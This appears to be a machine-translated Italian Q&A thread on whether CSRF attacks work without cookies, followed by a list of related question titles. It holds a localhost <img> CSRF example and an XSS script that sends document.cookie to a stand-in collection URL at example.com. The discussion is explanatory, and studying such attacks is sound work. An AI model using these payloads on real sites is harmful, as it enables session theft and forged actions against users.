Lo sto indagando da tempo, ma non ho trovato nulla per soddisfare la mia curiosità. È possibile, come utente, essere vittima di un attacco CSRF se i cookie sono disabilitati. Ovviamente CSRF dipende dal browser degli utenti per inviare le credenziali dell'utente con la richiesta forgiata al server legittimo. Oltre agli indirizzi IP, i browser non inviano automaticamente nessun altro valore di sessione, vero? In tal caso, fino a quando un utente può accedere con i cookie disabilitati, essi saranno al sicuro da CSRF anche su siti Web vulnerabili.È possibile CSRF senza cookie?
risposta
Quindi, è necessario chiedersi come fa il server a conoscere un client da un altro? Nella maggior parte dei casi, è il cookie di sessione, ma ci sono anche altri modi.
Si consideri un'applicazione di amministrazione, che è configurata per funzionare solo se si accede da localhost. Qui, il server sta attendendo l'indirizzo IP del browser. Ora, se un utente malintenzionato crea una pagina come <img src="http://localhost/do/something/harmful"/>
e in qualche modo ottiene l'amministratore a visitare la sua pagina, si dispone di un CSRF.
Altri esempi includono l'uso improprio dell'autenticazione Http di base e del digest, come già sottolineato da Bruno.
Certo - basta pensare se il sito non ha compromesso macchia HTML e hai inserito il seguente testo in un campo "commento":
<script>
var img = document.createElement("img");
img.src = "http://example.com/collect.php?val=" + escape(document.cookie);
</script>
In sostanza si sta utilizzando javascript per raccogliere i cookie e scrivere il valori nei parametri URL di un tag immagine in modo che vengano passati al server "cattivo" quando il browser tenta di caricare l'immagine.
Ovviamente - nell'esempio sopra sto usando i cookie da "document.cookie" ma nello spirito della tua domanda "se i cookie sono disabilitati" è altrettanto facile estrarre qualsiasi altra informazione dal DOM (input nascosto valori di campo, ecc.) e inviarli nell'URL al server di destinazione.
Esistono altre forme di autenticazione supportate dai browser, in particolare HTTP Digest e HTTP Digest, nonché certificati client SSL/TLS. Sfortunatamente, l'interfaccia per "disconnettersi" quando si utilizzano questi meccanismi è in genere piuttosto scarsa. A differenza dei cookie e dei moduli, l'interruzione dell'utilizzo delle credenziali è controllata dal browser (non dal server e dai relativi cookie), ma i pulsanti sono nella migliore delle ipotesi in alcuni menu avanzati in generale (se esistono).
Quindi, se un utente disabilita i cookie nel proprio browser, le alternative tipiche sono l'autenticazione HTTP o semplicemente il passaggio degli ID di sessione attraverso i moduli? – grossmae
- 1. Vulnerabilità CSRF/domanda di cookie
- 2. Django REST Framework CSRF non riuscito: cookie CSRF non impostato
- 3. È possibile proteggere i cookie?
- 4. È possibile utilizzare i cookie in un'applicazione Cordova?
- 5. Token CSRF di Django senza moduli
- 6. Django 1.9 AJAX modulo errore CSRF token 403 - "cookie CSRF non impostato"
- 7. Uso del cookie rubato in cURL per aggirare CSRF
- 8. Sporadic 403 "CSRF FAILURECSRF cookie non impostato" errori con django
- 9. Un cookie senza un dominio?
- 10. CSRF nelle applicazioni mobili
- 11. sessione PHP senza cookie
- 12. Perché ottengo il "cookie CSRF non impostato" quando il POST è in framework Django REST?
- 13. Node.JS sessione senza cookie
- 14. È possibile ottenere il percorso di un cookie memorizzato?
- 15. Laravel 5: POST senza controllo CSRF
- 16. È necessario proteggere le richieste JAX-RS contro CSRF?
- 17. Cookie Javascript senza punto iniziale
- 18. È così che funziona la protezione CSRF di Django?
- 19. Perché non è possibile accedere ai cookie di serviceworker
- 20. È possibile implementare "Ricordami" utilizzando i cookie jQuery?
- 21. È possibile inviare cookie in un DownloadManager Android
- 22. È possibile condividere un cookie tra "alcuni" sottodomini?
- 23. È possibile bloccare l'impostazione dei cookie utilizzando Javascript o PHP?
- 24. Autenticazione cookie OWIN senza identità ASP.NET
- 25. È possibile impostare più di un cookie con un singolo Set-Cookie?
- 26. impedendo csrf in php
- 27. Generazione di token CSRF
- 28. Come è possibile avere deadlock senza transazioni?
- 29. È possibile pixelare un'immagine senza tela?
- 30. È possibile effettuare notifiche push senza APNS
IMO, a condizione che il browser della vittima abbia una sessione attiva o un token di accesso attivo (tramite WebStorage, cookie, RAM o altro), il CSRF dovrebbe passare dal presupposto che il sito non utilizzi token di sincronizzazione volti a impedire CSRF. – Zack